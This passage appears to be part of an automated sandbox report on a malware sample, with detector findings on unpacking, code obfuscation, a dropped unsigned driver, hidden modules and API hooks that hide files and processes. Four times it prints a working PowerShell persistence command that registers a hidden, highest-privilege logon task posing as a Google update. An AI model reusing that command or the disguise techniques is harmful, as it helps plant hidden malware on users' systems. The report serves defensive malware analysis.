Source: Binary string: wz.pdB source: h2qWqtD73F.exe, 00000000.00000002.1416245582.00000200354F0000.00000004.00000001.00020000.00000000.sdmp, h2qWqtD73F.exe, 00000000.00000000.1297247842.00007FF752A5B000.00000008.00000001.01000000.00000003.sdmp, h2qWqtD73F.exe, 00000000.00000002.1417375531.00007FF752A80000.00000008.00000001.01000000.00000003.sdmp, updater.exe, 00000014.00000000.1417205334.00007FF6DD49B000.00000008.00000001.01000000.00000008.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.error source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A583109edcd source: svchost.exe, 00000011.00000002.2628095786.0000020628040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413494043.0000020628040000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831~1 source: svchost.exe, 00000011.00000002.2628095786.0000020628040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413494043.0000020628040000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbF source: svchost.exe, 00000011.00000002.2628095786.0000020628040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413494043.0000020628040000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.error source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wz.pdBk source: h2qWqtD73F.exe, 00000000.00000002.1416245582.00000200354F0000.00000004.00000001.00020000.00000000.sdmp, h2qWqtD73F.exe, 00000000.00000000.1297247842.00007FF752A5B000.00000008.00000001.01000000.00000003.sdmp, h2qWqtD73F.exe, 00000000.00000002.1417375531.00007FF752A80000.00000008.00000001.01000000.00000003.sdmp, updater.exe, 00000014.00000000.1417205334.00007FF6DD49B000.00000008.00000001.01000000.00000008.sdmp
Source: Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831d0 source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbl source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Unpacked PE file: 20.2.updater.exe.28471390000.1.unpack
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } Jump to behavior
PE file contains an invalid checksum
Source: h2qWqtD73F.exe Static PE information: real checksum: 0x5c2518 should be: 0x5b7873
Source: piukhnngkvtj.tmp.0.dr Static PE information: real checksum: 0x27db6 should be: 0x2d110
Source: updater.exe.0.dr Static PE information: real checksum: 0x5c2518 should be: 0x5b7873
PE file contains sections with non-standard names
Source: h2qWqtD73F.exe Static PE information: section name: .xdata
Source: updater.exe.0.dr Static PE information: section name: .xdata
Source: piukhnngkvtj.tmp.0.dr Static PE information: section name: .xdata
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00007FFE7DD4D2A5 pushad ; iretd 6_2_00007FFE7DD4D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00007FFE7DE6754D push ebx; iretd 6_2_00007FFE7DE6756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00007FFE7DE600BD pushad ; iretd 6_2_00007FFE7DE600C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00007FFE7DE67BD3 push eax; ret 6_2_00007FFE7DE67BA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00007FFE7DE67B9A push eax; ret 6_2_00007FFE7DE67BA9
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6784FD push rcx; retf 003Fh 8_2_000002EA8A6784FE
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6722B8 push rdx; retf 8_2_000002EA8A6722B9
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6A94FD push rcx; retf 003Fh 8_2_000002EA8A6A94FE
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6F84FD push rcx; retf 003Fh 8_2_000002EA8A6F84FE
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6F22B8 push rdx; retf 8_2_000002EA8A6F22B9
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338C22B8 push rdx; retf 9_2_000001CB338C22B9
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338C84FD push rcx; retf 003Fh 9_2_000001CB338C84FE
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338F94FD push rcx; retf 003Fh 9_2_000001CB338F94FE
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027A22B8 push rdx; retf 10_2_0000026E027A22B9
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027A84FD push rcx; retf 003Fh 10_2_0000026E027A84FE
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027D94FD push rcx; retf 003Fh 10_2_0000026E027D94FE
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEEF84FD push rcx; retf 003Fh 11_2_000001C6CEEF84FE
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEEF22B8 push rdx; retf 11_2_000001C6CEEF22B9
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF294FD push rcx; retf 003Fh 11_2_000001C6CEF294FE
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF584FD push rcx; retf 003Fh 11_2_000001C6CEF584FE
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF522B8 push rdx; retf 11_2_000001C6CEF522B9
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304F984FD push rcx; retf 003Fh 12_2_0000025304F984FE
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304F922B8 push rdx; retf 12_2_0000025304F922B9
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211484FD push rcx; retf 003Fh 13_2_0000016C211484FE
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211422B8 push rdx; retf 13_2_0000016C211422B9
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211794FD push rcx; retf 003Fh 13_2_0000016C211794FE
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211D94FD push rcx; retf 003Fh 13_2_0000016C211D94FE
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F47BE22B8 push rdx; retf 14_2_0000026F47BE22B9
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F47BE84FD push rcx; retf 003Fh 14_2_0000026F47BE84FE
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B91DE84FD push rcx; retf 003Fh 15_2_0000029B91DE84FE
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B91DE22B8 push rdx; retf 15_2_0000029B91DE22B9

Persistence and Installation Behavior
barindex
Sample is not signed and drops a device driver
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe File created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys Jump to behavior
Yara detected PersistenceViaHiddenTask
Source: Yara match File source: 00000010.00000002.2675524616.0000020422C06000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2676628688.0000020422C5F000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2654430567.0000020422302000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: svchost.exe PID: 1060, type: MEMORYSTR
Drops PE files
Source: C:\Users\user\Desktop\h2qWqtD73F.exe File created: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Jump to dropped file
Source: C:\Users\user\Desktop\h2qWqtD73F.exe File created: C:\Users\user\AppData\Local\Temp\piukhnngkvtj.tmp Jump to dropped file

Boot Survival
barindex
Yara detected PersistenceViaHiddenTask
Source: Yara match File source: 00000010.00000002.2675524616.0000020422C06000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2676628688.0000020422C5F000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2654430567.0000020422302000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: svchost.exe PID: 1060, type: MEMORYSTR

Hooking and other Techniques for Hiding and Protection
barindex
Found hidden mapped module (file has been removed from disk)
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PIUKHNNGKVTJ.TMP
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PIUKHNNGKVTJ.TMP
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PIUKHNNGKVTJ.TMP
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PIUKHNNGKVTJ.TMP
Hooks files or directories query functions (used to hide files and directories)
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile
Hooks processes query functions (used to hide processes)
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation
Hooks registry keys query functions (used to hide registry keys)
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
